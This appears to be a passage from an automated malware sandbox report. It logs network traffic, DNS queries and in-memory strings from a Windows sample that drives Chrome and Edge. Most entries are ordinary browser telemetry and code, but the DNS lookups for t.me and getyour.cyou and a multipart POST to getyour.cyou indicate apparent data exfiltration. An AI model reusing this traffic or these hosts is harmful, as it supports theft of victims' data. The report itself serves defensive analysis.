{"back_block":0,"bg_cur":{"configIndex":29,"imageId":"BB1msOZa","provider":"CMSImage","userSelected":false},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"peek","layout":1,"quick_links_opt":1,"sel_feed_piv":"myFeed","show_greet":true,"vt_opened":false,"wpo_nx":{"v":"2","wgt":{"src":"default"}}}Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_Auth=; pglt-edgeChromium-dhp=547; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=7B4FD8C1B4784488BDAA91D4F930C656.RefC=2025-02-01T15:53:54Z; USRLOC=; MUID=068200E89A0E61812B5B156E9B8460A6; MUIDB=068200E89A0E61812B5B156E9B8460A6; _EDGE_S=F=1&SID=3C9A4327BAB466C4135156A1BBF76776; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=1c6d9184-6a77-425d-8973-ba437152ff94; ai_session=clQQVKxFVrwpqygra+xaDQ\|1738425237865\|1738425237865; sptmarket_restored=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=7B4FD8C1B4784488BDAA91D4F930C656.RefC=2025-02-01T15:53:54Z
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1738425237870&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=7b4fd8c1b4784488bdaa91d4f930c656&activityId=7b4fd8c1b4784488bdaa91d4f930c656&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=3F0D921A346C45C6A2594B48BC5655B0&MUID=068200E89A0E61812B5B156E9B8460A6 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=068200E89A0E61812B5B156E9B8460A6; _EDGE_S=F=1&SID=3C9A4327BAB466C4135156A1BBF76776; _EDGE_V=1; SM=T; _C_ETH=1; msnup=%7B%22cnex%22%3A%22no%22%7D

Source: 42f9f34e-f08e-4b14-8aa6-95ec46f177a5.tmp.24.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log5.24.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log5.24.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log5.24.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)
Source: chrome.exe, 00000013.00000002.2673242677.0000512800716000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000013.00000002.2673242677.0000512800716000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000013.00000003.2595398112.0000512800F68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2595206389.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2595503905.00005128003A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000013.00000003.2595398112.0000512800F68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2595206389.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2595503905.00005128003A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000013.00000002.2673242677.0000512800716000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 00000013.00000002.2673242677.0000512800716000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000013.00000002.2671438491.00005128002C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: veAKnoaZvrQWQFNKsKVJFclAj.veAKnoaZvrQWQFNKsKVJFclAj
Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: getyour.cyou
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----1d26pzcbi5fkn7900rqiUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0Host: getyour.cyouContent-Length: 255Connection: Keep-AliveCache-Control: no-cache

Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/25170
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000016.00000003.2718734287.000068B00037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206E
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 00000013.00000002.2673124359.00005128006B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000016.00000003.2718734287.000068B00037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000016.00000003.2718734287.000068B00037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000016.00000003.2718734287.000068B00037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000016.00000003.2718734287.000068B00037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 00000013.00000002.2673124359.00005128006B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000016.00000003.2718734287.000068B00037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4428
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000016.00000003.2718734287.000068B00037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000016.00000003.2718734287.000068B00037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4836
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000016.00000003.2718734287.000068B00037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5055
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000016.00000003.2718734287.000068B00037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000016.00000003.2719968689.000068B000378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000016.00000003.2718734287.000068B00037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5281
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000016.00000003.2718734287.000068B00037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5371
